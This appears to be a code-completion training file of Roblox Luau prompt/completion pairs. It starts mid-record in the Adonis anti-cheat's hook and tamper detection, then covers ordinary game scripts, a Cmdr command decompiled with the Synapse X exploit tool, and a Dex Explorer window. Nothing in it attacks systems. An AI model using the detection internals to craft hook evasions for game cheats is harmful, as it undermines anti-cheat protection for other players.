success2, err2 = pcall(function()\n\t\t\t\t\t\t\trawLogService.GetLogHistory(workspace)\n\t\t\t\t\t\tend)\n\t\t\t\t\t\tlocal success3, err3 = pcall(function()\n\t\t\t\t\t\t\tworkspace:GetLogHistory()\n\t\t\t\t\t\tend)\n\n\t\t\t\t\t\tif\n\t\t\t\t\t\t\tsuccess or (string.match(err, \"^%a+ is not a valid member of LogService \\\"(.+)\\\"$\") or \"\") ~= rawLogService:GetFullName() or\n\t\t\t\t\t\t\tsuccess2 or err2 ~= \"Expected ':' not '.' calling member function GetLogHistory\" or\n\t\t\t\t\t\t\tsuccess3 or (string.match(err3, \"^GetLogHistory is not a valid member of Workspace \\\"(.+)\\\"$\") or \"\") ~= workspace:GetFullName()\n\t\t\t\t\t\tthen\n\t\t\t\t\t\t\tDetected(\"kick\", \"GetLogHistory function hooks detected\")\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\t-- // RemoteEvent hook detection\n\t\t\t\t\tdo\n\t\t\t\t\t\tlocal success, err = pcall(function()\n\t\t\t\t\t\t\tremEventCheck:fireserver()\n\t\t\t\t\t\tend)\n\t\t\t\t\t\tlocal success2, err2 = pcall(function()\n\t\t\t\t\t\t\tremEventCheck.FireServer(workspace)\n\t\t\t\t\t\tend)\n\t\t\t\t\t\tlocal success3, err3 = pcall(function()\n\t\t\t\t\t\t\tworkspace:FireServer()\n\t\t\t\t\t\tend)\n\n\t\t\t\t\t\tif\n\t\t\t\t\t\t\tsuccess or (string.match(err, \"^%a+ is not a valid member of RemoteEvent \\\"(.+)\\\"$\") or \"\") ~= remEventCheck:GetFullName() or\n\t\t\t\t\t\t\tsuccess2 or err2 ~= \"Expected ':' not '.' calling member function FireServer\" or\n\t\t\t\t\t\t\tsuccess3 or (string.match(err3, \"^FireServer is not a valid member of Workspace \\\"(.+)\\\"$\") or \"\") ~= workspace:GetFullName()\n\t\t\t\t\t\tthen\n\t\t\t\t\t\t\tDetected(\"kick\", \"FireServer function hooks detected\")\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tpcall(remEventCheck.FireServer, remEventCheck, proxyDetector)\n\n\t\t\t\t\t-- // RemoteFunction hook detection\n\t\t\t\t\tdo\n\t\t\t\t\t\tlocal success, err = pcall(function()\n\t\t\t\t\t\t\tremFuncCheck:invokeserver()\n\t\t\t\t\t\tend)\n\t\t\t\t\t\tlocal success2, err2 = pcall(function()\n\t\t\t\t\t\t\tremFuncCheck.InvokeServer(workspace)\n\t\t\t\t\t\tend)\n\t\t\t\t\t\tlocal success3, err3 = pcall(function()\n\t\t\t\t\t\t\tworkspace:InvokeServer()\n\t\t\t\t\t\tend)\n\n\t\t\t\t\t\tif\n\t\t\t\t\t\t\tsuccess or (string.match(err, \"^%a+ is not a valid member of RemoteFunction \\\"(.+)\\\"$\") or \"\") ~= remFuncCheck:GetFullName() or\n\t\t\t\t\t\t\tsuccess2 or err2 ~= \"Expected ':' not '.' calling member function InvokeServer\" or\n\t\t\t\t\t\t\tsuccess3 or (string.match(err3, \"^InvokeServer is not a valid member of Workspace \\\"(.+)\\\"$\") or \"\") ~= workspace:GetFullName()\n\t\t\t\t\t\tthen\n\t\t\t\t\t\t\tDetected(\"kick\", \"InvokeServer function hooks detected\")\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t--pcall(remFuncCheck.InvokeServer, remFuncCheck, proxyDetector)\n\n\t\t\t\t\thasCompleted = true\n\t\t\t\tend, function()\n\t\t\t\t\tDetected(\"crash\", \"Tamper Protection 0xB3EB\")\n\t\t\t\t\ttask.wait(1)\n\t\t\t\t\tpcall(Disconnect, \"Adonis_0xB3EB\")\n\t\t\t\t\tpcall(Kill, \"Adonis_0xB3EB\")\n\t\t\t\t\tpcall(Kick, Player, \"Adonis_0xB3EB\")\n\t\t\t\tend)\n\n\t\t\t\ttask.spawn(xpcall, function()\n\t\t\t\t\ttask.wait(4)\n\t\t\t\t\tif not hasCompleted then\n\t\t\t\t\t\tDetected(\"kick\", \"Remote and/or logservice spoofcheck failed\")\n\t\t\t\t\tend\n\t\t\t\tend, function()\n\t\t\t\t\tDetected(\"crash\", \"Tamper Protection 0x33E0\")\n\t\t\t\t\ttask.wait(1)\n\t\t\t\t\tpcall(Disconnect, \"Adonis_0x33E0\")\n\t\t\t\t\tpcall(Kill, \"Adonis_0x33E0\")\n\t\t\t\t\tpcall(Kick, Player, \"Adonis_0x33E0\")\n\t\t\t\tend)\n\n\t\t\t\ttask.wait(5)\n\t\t\tend\n\t\tend)\n\tend\n\n\tlocal Launch = function(mode,data)\n\t\tif Anti.Detectors[mode] and service.NetworkClient then\n\t\t\tAnti.Detectors[mode](data)\n\t\tend\n\tend;\n\n\tlocal rawDetectors = {}\n\n\tAnti = service.ReadOnly({\n\t\tInit = Init;\n\t\tRunLast = RunLast;\n\t\tRunAfterLoaded = RunAfterLoaded;\n\t\tLaunch = Launch;\n\t\tDetected = Detected;\n\t\tDetectors = service.ReadOnly(setmetatable({}, { __index = rawDetectors }), false, true);\n\n\t\tAddDetector = function(name, callback)\n\t\t\tif not rawDetectors[name] then\n\t\t\t\trawDetectors[name] = callback\n\t\t\tend\n\t\tend,\n\n\t\tRLocked = function(obj)\n\t\t\treturn not pcall(function()\n\t\t\t\treturn obj.GetFullName(obj)\n\t\t\tend)\n\t\tend;\n\t}, {[\"Init\"] = true, [\"RunLast\"] = true, [\"RunAfterLoaded\"] = true}, true)\n\n\tclient.Anti = Anti\n\n\tdo\n\t\tlocal meta = service.MetaFunc\n\t\tlocal track = meta(service.TrackTask)\n\t\tlocal opcall = meta(pcall)\n\t\tlocal oWait = meta(task.wait)\n\t\tlocal time = meta(time)\n\n\t\ttrack(\"Thread: TableCheck\", meta(function()\n\t\t\twhile oWait(1) do\n\t\t\t\tlocal ran, core, remote, functions, anti, send, get, detected, disconnect, kill = coroutine.resume(coroutine.create(function()\n\t\t\t\t\treturn client.Core, client.Remote, client.Functions, client.Anti, client.Remote.Send, client.Remote.Get, client.Anti.Detected, client.Disconnect, client.Kill\n\t\t\t\tend))\n\t\t\t\tif not ran or core ~= Core or remote ~= Remote or functions ~= Functions or anti ~= Anti or send ~= Send or get ~= Get or detected ~= Detected or disconnect ~= Disconnect or kill ~= Kill then\n\t\t\t\t\topcall(Detected, \"crash\", \"Tamper Protection 0x273A\")\n\t\t\t\t\toWait(1)\n\t\t\t\t\topcall(Disconnect, \"Adonis_0x273A\")\n\t\t\t\t\topcall(Kill, \"Adonis_0x273A\")\n\t\t\t\t\topcall(Kick, Player, \"Adonis_0x273A\")\n\t\t\t\tend\n\t\t\tend\n\t\tend))\n\tend\nend\n"} +{"prompt": "--// J key, Stages", "completion": "\nmouse.KeyDown:connect(function(key)\n\tif key==\"j\" then \n\t\tveh.Lightbar.middle.Beep:Play()\n\t\tveh.Lightbar.Remotes.StageEvent:FireServer(true)\n\tend\nend)\n"} +{"prompt": "--- Sends an event message to a player", "completion": "\nfunction Command:SendEvent(player, event, ...)\n\tassert(typeof(player) == \"Instance\", \"Argument #1 must be a Player\")\n\tassert(player:IsA(\"Player\"), \"Argument #1 must be a Player\")\n\tassert(type(event) == \"string\", \"Argument #2 must be a string\")\n\n\tif IsServer then\n\t\tself.Dispatcher.Cmdr.RemoteEvent:FireClient(player, event, ...)\n\telseif self.Dispatcher.Cmdr.Events[event] then\n\t\tassert(player == Players.LocalPlayer, \"Event messages can only be sent to the local player on the client.\")\n\t\tself.Dispatcher.Cmdr.Events[event](...)\n\tend\nend\n"} +{"prompt": "-----------------------------------------------------------------------------------------------", "completion": "\n\nscript.Parent:WaitForChild(\"Gear\")\nscript.Parent:WaitForChild(\"Speed\")\n\nlocal player=game.Players.LocalPlayer\nlocal mouse=player:GetMouse()\n\nlocal car = script.Parent.Parent.Car.Value\ncar.DriveSeat.HeadsUpDisplay = false\n\nlocal _Tune = require(car[\"A-Chassis Tune\"])\n\nlocal _pRPM = _Tune.PeakRPM\nlocal _lRPM = _Tune.Redline\n\nlocal currentUnits = 1\nlocal revEnd = math.ceil(_lRPM/1000)\n"} +{"prompt": "--Jamie", "completion": "\n\n\n\n\ndebounce = true\nfunction onTouched(hit)\n\n\n\t\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\t\tif game.Players:getPlayerFromCharacter(hit.Parent) then \n\t\t\t\t\n script.Parent.Refill:Play()\n hit.Parent.Saude.Kit.Parent.Kit.Aspirina.Value = hit.Parent.Saude.Kit.Parent.Kit.Aspirina.MaxValue --Painkillers\n hit.Parent.Saude.Kit.Parent.Kit.Bandagem.Value = hit.Parent.Saude.Kit.Parent.Kit.Bandagem.MaxValue --Field Dressing/Bandages\n hit.Parent.Saude.Kit.Parent.Kit.Energetico.Value = hit.Parent.Saude.Kit.Parent.Kit.Energetico.MaxValue --Energy Drink\n hit.Parent.Saude.Kit.Parent.Kit.Epinefrina.Value = hit.Parent.Saude.Kit.Parent.Kit.Epinefrina.MaxValue --Epinephrine\n hit.Parent.Saude.Kit.Parent.Kit.Morfina.Value = hit.Parent.Saude.Kit.Parent.Kit.Morfina.MaxValue --Morphine\n hit.Parent.Saude.Kit.Parent.Kit.SacoDeSangue.Value = 20 --Blood Bag\n hit.Parent.Saude.Kit.Parent.Kit.Splint.Value = hit.Parent.Saude.Kit.Parent.Kit.Splint.MaxValue --Splint (fixes injured status)\n\t\thit.Parent.Saude.Kit.Parent.Kit.skit.Value = 26\n hit.Parent.Saude.Kit.Parent.Kit.bvm.Value = 1\n hit.Parent.Saude.Kit.Parent.Kit.etube.Value = 2\n\t\thit.Parent.Saude.Kit.Parent.Kit.nrb.Value = 2\n\t\thit.Parent.Saude.Kit.Parent.Kit.npa.Value = 2\n\n hit.Parent.Saude.Kit.Parent.Kit.Tourniquet.Value = 5\n \n hit.Parent.Saude.Kit.Parent.Kit.defib.Value = 1\n hit.Parent.Saude.Kit.Parent.Kit.o2.Value = 2\n hit.Parent.Saude.Kit.Parent.Kit.prolene.Value = 15\n \n debounce = false\n print(\"Refill Cooling Down\")\n wait(5)\n debounce = true\n\t\t\t\tprint(\"Refill Cooldown Over\")\n\t\t\t\n\t\t\tend\n\t\tend\n\t\t\n end\n\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "-- ROBLOX deviation: helper function moved to RobloxShared and no longer needed here\n-- local hasPropertyInObject = RobloxShared.expect.hasPropertyInObject", "completion": "\n\nlocal function getPath(object: { [string]: any }, propertyPath): GetPath\n\tif not Array.isArray(propertyPath) then\n\t\tpropertyPath = pathAsArray(propertyPath)\n\tend\n\n\tif #propertyPath > 0 then\n\t\tlocal lastProp = #propertyPath == 1\n\t\tlocal prop = propertyPath[1]\n\n\t\t-- We need this code block in Lua since attempting object[prop] on a non-table\n\t\t-- will throw an error\n\t\tlocal ok, res = pcall(function()\n\t\t\treturn object[prop]\n\t\tend)\n\n\t\tlocal newObject = res\n\n\t\tif not ok or (not lastProp and newObject == nil) then\n\t\t\t-- This is not the last prop in the chain. If we keep recursing\n\t\t\t-- we will get a nil access error. At this point we know that the\n\t\t\t-- chain has broken and we can return right away.\n\t\t\treturn {\n\t\t\t\thasEndProp = false,\n\t\t\t\tlastTraversedObject = object,\n\t\t\t\ttraversedPath = {},\n\t\t\t}\n\t\tend\n\n\t\tlocal result = getPath(newObject, Array.slice(propertyPath, 2))\n\n\t\tif result.lastTraversedObject == nil then\n\t\t\tresult.lastTraversedObject = object\n\t\tend\n\n\t\ttable.insert(result.traversedPath, 1, prop)\n\n\t\tif lastProp then\n\t\t\tresult.hasEndProp = newObject ~= nil\n\n\t\t\tif not result.hasEndProp then\n\t\t\t\tArray.shift(result.traversedPath)\n\t\t\tend\n\t\tend\n\n\t\treturn result\n\tend\n\n\treturn {\n\t\tlastTraversedObject = nil,\n\t\ttraversedPath = {},\n\t\tvalue = object,\n\t}\nend\n"} +{"prompt": "--Function For Making New Ray Bricks", "completion": "\nfunction makeRay(cframe, size)\n\tlocal p\t\t\t\t\t\t= Instance.new(\"Part\")\n\tp.Name\t\t\t\t\t\t= \"RayPart\"\n\tp.BrickColor\t\t\t\t= BrickColor.new(\"Bright red\")\n\tp.Material = \"Neon\"\n\tp.Transparency\t\t\t\t= 0.5\n\tp.Anchored\t\t\t\t\t= true\n\tp.CanCollide\t\t\t\t= false\n\tp.TopSurface\t\t\t\t= Enum.SurfaceType.Smooth\n\tp.BottomSurface\t\t\t\t= Enum.SurfaceType.Smooth\n\tp.formFactor\t\t\t\t= Enum.FormFactor.Custom\n\tp.CFrame\t\t\t\t\t= cframe\n\tp.Size\t\t\t\t\t\t= size\n\tp.Parent\t\t\t\t\t= m\n\tignoreList[#ignoreList+1]\t= p\nend\n\n\n\nround\t\t\t\t\t= Instance.new(\"Part\")\nround.Name\t\t\t\t= \"RayPart\"\nround.Material = \"Neon\"\nround.Transparency\t\t= 0.5\nround.Anchored\t\t\t= true\nround.CanCollide\t\t= false\nround.TopSurface\t\t= Enum.SurfaceType.Smooth\nround.BottomSurface\t\t= Enum.SurfaceType.Smooth\nround.formFactor\t\t= Enum.FormFactor.Custom\nround.BrickColor\t\t= BrickColor.new(\"Bright red\")\nyOffset\t\t\t\t\t= -0.2\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = {\n\tName = \"bind\", \n\tAliases = {}, \n\tDescription = \"Binds a command string to a key or mouse input.\", \n\tGroup = \"DefaultUtil\", \n\tArgs = { {\n\t\t\tType = \"userInput ! bindableResource @ player\", \n\t\t\tName = \"Input\", \n\t\t\tDescription = \"The key or input type you'd like to bind the command to.\"\n\t\t}, {\n\t\t\tType = \"command\", \n\t\t\tName = \"Command\", \n\t\t\tDescription = \"The command you want to run on this input\"\n\t\t}, {\n\t\t\tType = \"string\", \n\t\t\tName = \"Arguments\", \n\t\t\tDescription = \"The arguments for the command\", \n\t\t\tDefault = \"\"\n\t\t} }\n};\nlocal l__UserInputService__1 = game:GetService(\"UserInputService\");\nfunction v1.ClientRun(p1, p2, p3, p4)\n\tlocal v2 = p1:GetStore(\"CMDR_Binds\");\n\tp3 = p3 .. \" \" .. p4;\n\tif v2[p2] then\n\t\tv2[p2]:Disconnect();\n\tend;\n\tlocal l__Name__3 = p1:GetArgument(1).Type.Name;\n\tif l__Name__3 == \"userInput\" then\n\t\tv2[p2] = l__UserInputService__1.InputBegan:Connect(function(p5, p6)\n\t\t\tif p6 then\n\t\t\t\treturn;\n\t\t\tend;\n\t\t\tif p5.UserInputType == p2 or p5.KeyCode == p2 then\n\t\t\t\tp1:Reply(p1.Dispatcher:EvaluateAndRun(p1.Cmdr.Util.RunEmbeddedCommands(p1.Dispatcher, p3)));\n\t\t\tend;\n\t\tend);\n\telse\n\t\tif l__Name__3 == \"bindableResource\" then\n\t\t\treturn \"Unimplemented...\";\n\t\tend;\n\t\tif l__Name__3 == \"player\" then\n\t\t\tv2[p2] = p2.Chatted:Connect(function(p7)\n\t\t\t\tlocal v4 = p1.Cmdr.Util.RunEmbeddedCommands(p1.Dispatcher, p1.Cmdr.Util.SubstituteArgs(p3, { p7 }));\n\t\t\t\tp1:Reply((\"%s $ %s : %s\"):format(p2.Name, v4, p1.Dispatcher:EvaluateAndRun(v4)), Color3.fromRGB(244, 92, 66));\n\t\t\tend);\n\t\tend;\n\tend;\n\treturn \"Bound command to input.\";\nend;\nreturn v1;\n"} +{"prompt": "-- Load tool completely before loading cached libraries", "completion": "\nlocal Tool = script.Parent;\nlocal Indicator = Tool:WaitForChild 'Loaded';\nwhile not Indicator.Value do\n\tIndicator.Changed:Wait();\nend;\n"} +{"prompt": "-- Mobile\n-- Stephen Leitnick\n-- December 28, 2017", "completion": "\n"} +{"prompt": "-- load it to the humanoid; get AnimationTrack", "completion": "\ncurrentAnimTrack = humanoid:LoadAnimation(anim)"} +{"prompt": "-- LocalScript", "completion": "\n\nlocal numValue = Player.Salario.Diamante -- substitua \"NumValue\" pelo nome da sua NumberValue\nlocal textLabel = script.Parent -- substitua \"TextLabel\" pelo nome do seu TextLabel\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nElevator = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nElevator:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,16 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Transparency = (l:sub(r,r) == \"1\" and 0 or 1)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--The following code will print the Name and ClassName of every child of workspace\n--(You can run it in command bar to test the module)\n--[[\n getAllChildren = require(game:FindFirstChild(\"GetAllChildren Module\",true)) \n for _,v in pairs(getAllChildren(workspace)) do\n print(string.rep(\"-\",15)..\"\\nName: \"..v.Name..\"\\nClassName: \"..v.ClassName)\n end\n]]", "completion": "\n\nGetAllChildren = function(obj)\n\tlocal Children = {}\n\tfunction vGetChildren(trg)\n\t\tfor _,v in pairs(trg:GetChildren()) do\n\t\t\ttable.insert(Children, v)\n\t\t\tvGetChildren(v)\n\t\tend\n\tend\n\tvGetChildren(obj)\n\treturn Children\nend\n\nreturn GetAllChildren\n"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= 0\n\tTune.RCamber\t\t= 0\n\tTune.FToe\t\t\t= 0\n\tTune.RToe\t\t\t= 0\n\t"} +{"prompt": "--[[\n\tGathers all of the errors reported by tests and puts them at the top level\n\tof the TestResults object.\n]]", "completion": "\nfunction TestSession:gatherErrors()\n\tlocal results = self.results\n\n\tresults.errors = {}\n\n\tresults:visitAllNodes(function(node)\n\t\tif #node.errors > 0 then\n\t\t\tfor _, message in ipairs(node.errors) do\n\t\t\t\ttable.insert(results.errors, message)\n\t\t\tend\n\t\tend\n\tend)\nend\n"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal BaseCamera = require(script.Parent:WaitForChild(\"BaseCamera\"))\nlocal VRBaseCamera = setmetatable({}, BaseCamera)\nVRBaseCamera.__index = VRBaseCamera\n\nlocal FFlagUserVRVignetteToggle do\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserVRVignetteToggle\")\n\tend)\n\tFFlagUserVRVignetteToggle = success and result\nend\n\nfunction VRBaseCamera.new()\n\tlocal self = setmetatable(BaseCamera.new(), VRBaseCamera)\n\n\t-- distance is different in VR\n\tself.defaultDistance = VR_ZOOM\n\tself.defaultSubjectDistance = math.clamp(self.defaultDistance, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)\n\tself.currentSubjectDistance = math.clamp(self.defaultDistance, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)\n\n\t-- VR screen effect\n\tself.VRFadeResetTimer = 0\n\tself.VREdgeBlurTimer = 0\n\n\t-- initialize vr specific variables\n\tself.gamepadResetConnection = nil\n\tself.needsReset = true\n\n\treturn self\nend\n\nfunction VRBaseCamera:GetModuleName()\n\treturn \"VRBaseCamera\"\nend\n\nfunction VRBaseCamera:GamepadZoomPress()\n\tlocal dist = self:GetCameraToSubjectDistance()\n\n\tif dist > VR_ZOOM / 2 then\n\t\tself:SetCameraToSubjectDistance(0)\n\t\tself.currentSubjectDistance = 0\n\telse\n\t\tself:SetCameraToSubjectDistance(VR_ZOOM)\n\t\tself.currentSubjectDistance = VR_ZOOM\n\tend\n\n\tself:GamepadReset()\n\tself:ResetZoom()\nend\n\nfunction VRBaseCamera:GamepadReset()\n\tself.needsReset = true\nend\n\nfunction VRBaseCamera:ResetZoom()\n\tZoomController.SetZoomParameters(self.currentSubjectDistance, 0)\n\tZoomController.ReleaseSpring()\nend\n\nfunction VRBaseCamera:OnEnable(enable: boolean)\n\tif enable then\n\t\tself.gamepadResetConnection = CameraInput.gamepadReset:Connect(function()\n\t\t\tself:GamepadReset()\n\t\tend)\n\telse\n\t\t-- make sure zoom is reset when switching to another camera\n\t\tif self.inFirstPerson then\n\t\t\tself:GamepadZoomPress()\n\t\tend\n\n\t\tif self.gamepadResetConnection then\n\t\t\tself.gamepadResetConnection:Disconnect()\n\t\t\tself.gamepadResetConnection = nil\n\t\tend\n\n\t\t-- reset VR effects\n\t\tself.VREdgeBlurTimer = 0\n\t\tself:UpdateEdgeBlur(player, 1)\n\t\tlocal VRFade = Lighting:FindFirstChild(\"VRFade\")\n\t\tif VRFade then\n\t\t\tVRFade.Brightness = 0\n\t\tend\n\tend\nend\n\nfunction VRBaseCamera:UpdateDefaultSubjectDistance()\n\tself.defaultSubjectDistance = math.clamp(VR_ZOOM, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)\nend\n"} +{"prompt": "-- ROBLOX deviation: the prefix is constant because the console prints the stack\n-- frames the same way on every platform.", "completion": "\nlocal prefix = \" in \"\n"} +{"prompt": "--print(me.Name)", "completion": "\nDAMAGE=me.Parent.Config.Damage.Value + me.Parent.Config.DamageAdd.Value * plr.VAR.turStr.Value\ndebounce=false\n\nlocal human\t= me.Parent.Humanoid\n\nlocal function Hit(hit)\n\tlocal target= hit.Parent.Name\n\tlocal bullet = me.Parent\n\t-- print(\"Target=\",target)\n"} +{"prompt": "-- set and keep every body part Transparency to its real transparency", "completion": "\nfor childIndex, child in pairs(character:GetChildren()) do\n if child:IsA(\"BasePart\") and child.Name ~= \"Head\" then\n \n child:GetPropertyChangedSignal(\"LocalTransparencyModifier\"):Connect(function()\n child.LocalTransparencyModifier = child.Transparency\n end)\n \n child.LocalTransparencyModifier = child.Transparency\n \n end\nend\n "} +{"prompt": "--/////////////////////////////////////////////////////////--", "completion": "\n\nlocal dZIndex \t = 2\nlocal dScrollBar = 4\nlocal dBackground \t= Color3.new(31/255, 31/255, 31/255)\nlocal dSecondaryBackground = dBackground:lerp(Color3.new(1,1,1), 0.1);\nlocal dTransparency = 0\nlocal dPixelSize \t= 0\nlocal dBorder \t\t= Color3.new(27/255,42/255,53/255)\nlocal dPosition \t= UDim2.new(0,5,0,5)\nlocal dCanvasSize \t= UDim2.new(0, 0, 0, 0)\nlocal dScrollImage \t= \"http://roblox.com/asset?id=158348114\"\nlocal dTextColor = Color3.new(1,1,1)\nlocal dSize \t = UDim2.new(1,-10,1,-10)\nlocal dFont \t = \"SourceSans\"\nlocal dTextSize = 16\nlocal dPlaceholderColor = Color3.fromRGB(178, 178, 178)\nlocal MouseIcons = {\n\tHorizontal = \"rbxassetid://1243146213\";\n\tVertical = \"rbxassetid://1243145985\";\n\tLeftCorner = \"rbxassetid://1243145459\";\n\tRightCorner = \"rbxassetid://1243145350\";\n\tTopRight = \"rbxassetid://1243145459\";\n\tTopLeft = \"rbxassetid://1243145350\";\n}\n"} +{"prompt": "-- ONLY WHEN FROM \"Profile.GlobalUpdates\":", "completion": "\nfunction GlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)\n\tif type(listener) ~= \"function\" then\n\t\terror(\"[ProfileService]: Only a function can be set as listener in GlobalUpdates:ListenToNewActiveUpdate()\")\n\tend\n\tlocal profile = self._profile\n\tif self._update_handler_mode == true then\n\t\terror(\"[ProfileService]: Can't listen to new global updates in ProfileStore:GlobalUpdateProfileAsync()\")\n\telseif self._new_active_update_listeners == nil then\n\t\terror(\"[ProfileService]: Can't listen to new global updates in view mode\")\n\telseif profile:IsActive() == false then -- Check if profile is expired\n\t\treturn { -- Do not connect listener if the profile is expired\n\t\t\tDisconnect = function() end,\n\t\t}\n\tend\n\t-- Connect listener:\n\treturn self._new_active_update_listeners:Connect(listener)\nend\n\nfunction GlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)\n\tif type(listener) ~= \"function\" then\n\t\terror(\"[ProfileService]: Only a function can be set as listener in GlobalUpdates:ListenToNewLockedUpdate()\")\n\tend\n\tlocal profile = self._profile\n\tif self._update_handler_mode == true then\n\t\terror(\"[ProfileService]: Can't listen to new global updates in ProfileStore:GlobalUpdateProfileAsync()\")\n\telseif self._new_locked_update_listeners == nil then\n\t\terror(\"[ProfileService]: Can't listen to new global updates in view mode\")\n\telseif profile:IsActive() == false then -- Check if profile is expired\n\t\treturn { -- Do not connect listener if the profile is expired\n\t\t\tDisconnect = function() end,\n\t\t}\n\tend\n\t-- Connect listener:\n\treturn self._new_locked_update_listeners:Connect(listener)\nend\n\nfunction GlobalUpdates:LockActiveUpdate(update_id)\n\tif type(update_id) ~= \"number\" then\n\t\terror(\"[ProfileService]: Invalid update_id\")\n\tend\n\tlocal profile = self._profile\n\tif self._update_handler_mode == true then\n\t\terror(\"[ProfileService]: Can't lock active global updates in ProfileStore:GlobalUpdateProfileAsync()\")\n\telseif self._pending_update_lock == nil then\n\t\terror(\"[ProfileService]: Can't lock active global updates in view mode\")\n\telseif profile:IsActive() == false then -- Check if profile is expired\n\t\terror(\"[ProfileService]: PROFILE EXPIRED - Can't lock active global updates\")\n\tend\n\t-- Check if global update exists with given update_id\n\tlocal global_update_exists = nil\n\tfor _, global_update in ipairs(self._updates_latest[2]) do\n\t\tif global_update[1] == update_id then\n\t\t\tglobal_update_exists = global_update\n\t\t\tbreak\n\t\tend\n\tend\n\tif global_update_exists ~= nil then\n\t\tlocal is_pending_lock = false\n\t\tfor _, lock_update_id in ipairs(self._pending_update_lock) do\n\t\t\tif update_id == lock_update_id then\n\t\t\t\tis_pending_lock = true -- Exclude global updates pending to be locked\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tif is_pending_lock == false and global_update_exists[3] == false then -- Avoid id duplicates in _pending_update_lock\n\t\t\ttable.insert(self._pending_update_lock, update_id)\n\t\tend\n\telse\n\t\terror(\"[ProfileService]: Passed non-existant update_id\")\n\tend\nend\n\nfunction GlobalUpdates:ClearLockedUpdate(update_id)\n\tif type(update_id) ~= \"number\" then\n\t\terror(\"[ProfileService]: Invalid update_id\")\n\tend\n\tlocal profile = self._profile\n\tif self._update_handler_mode == true then\n\t\terror(\"[ProfileService]: Can't clear locked global updates in ProfileStore:GlobalUpdateProfileAsync()\")\n\telseif self._pending_update_clear == nil then\n\t\terror(\"[ProfileService]: Can't clear locked global updates in view mode\")\n\telseif profile:IsActive() == false then -- Check if profile is expired\n\t\terror(\"[ProfileService]: PROFILE EXPIRED - Can't clear locked global updates\")\n\tend\n\t-- Check if global update exists with given update_id\n\tlocal global_update_exists = nil\n\tfor _, global_update in ipairs(self._updates_latest[2]) do\n\t\tif global_update[1] == update_id then\n\t\t\tglobal_update_exists = global_update\n\t\t\tbreak\n\t\tend\n\tend\n\tif global_update_exists ~= nil then\n\t\tlocal is_pending_clear = false\n\t\tfor _, clear_update_id in ipairs(self._pending_update_clear) do\n\t\t\tif update_id == clear_update_id then\n\t\t\t\tis_pending_clear = true -- Exclude global updates pending to be cleared\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tif is_pending_clear == false and global_update_exists[3] == true then -- Avoid id duplicates in _pending_update_clear\n\t\t\ttable.insert(self._pending_update_clear, update_id)\n\t\tend\n\telse\n\t\terror(\"[ProfileService]: Passed non-existant update_id\")\n\tend\nend\n"} +{"prompt": "--[[\nlocal ClickSelectOption = SettingsPanel:WaitForChild(\"ClickSelect\"):WaitForChild(\"Change\")\nlocal SelectionBoxOption = SettingsPanel:WaitForChild(\"SelectionBox\"):WaitForChild(\"Change\")\nlocal ClearPropsOption = SettingsPanel:WaitForChild(\"ClearProperties\"):WaitForChild(\"Change\")\nlocal SelectUngroupedOption = SettingsPanel:WaitForChild(\"SelectUngrouped\"):WaitForChild(\"Change\")\n--]]", "completion": "\n\nlocal SelectionChanged = ExplorerPanel:WaitForChild(\"SelectionChanged\")\nlocal GetSelection = ExplorerPanel:WaitForChild(\"GetSelection\")\nlocal SetSelection = ExplorerPanel:WaitForChild(\"SetSelection\")\n\nlocal Player = game:GetService(\"Players\").LocalPlayer\nlocal Mouse = Player:GetMouse()\n\nlocal CurrentWindow = \"Nothing c:\"\nlocal Windows = {\n\tExplorer = {\n\t\tExplorerPanel,\n\t\tPropertiesFrame\n\t},\n\tSettings = {SettingsPanel},\n\tSaveMap = {SaveMapWindow},\n\tRemotes = {RemoteDebugWindow}\n}\n\nfor i,v in pairs(Player.PlayerGui:GetChildren()) do\n\tif v ~= script.Parent and v.Name == \"Dex_Explorer\" then\n\t\tv:Destroy()\n\tend\nend\n\nfunction switchWindows(wName,over)\n\tif CurrentWindow == wName and not over then return end\n\t\n\tlocal count = 0\n\t\n\tfor i,v in pairs(Windows) do\n\t\tcount = 0\n\t\tif i ~= wName then\n\t\t\tfor _,c in pairs(v) do c:TweenPosition(UDim2.new(1, 30, count * 0.5, count * 36), \"Out\", \"Quad\", 0.5, true) count = count + 1 end\n\t\tend\n\tend\n\t\n\tcount = 0\n\t\n\tif Windows[wName] then\n\t\tfor _,c in pairs(Windows[wName]) do c:TweenPosition(UDim2.new(1, -300, count * 0.5, count * 36), \"Out\", \"Quad\", 0.5, true) count = count + 1 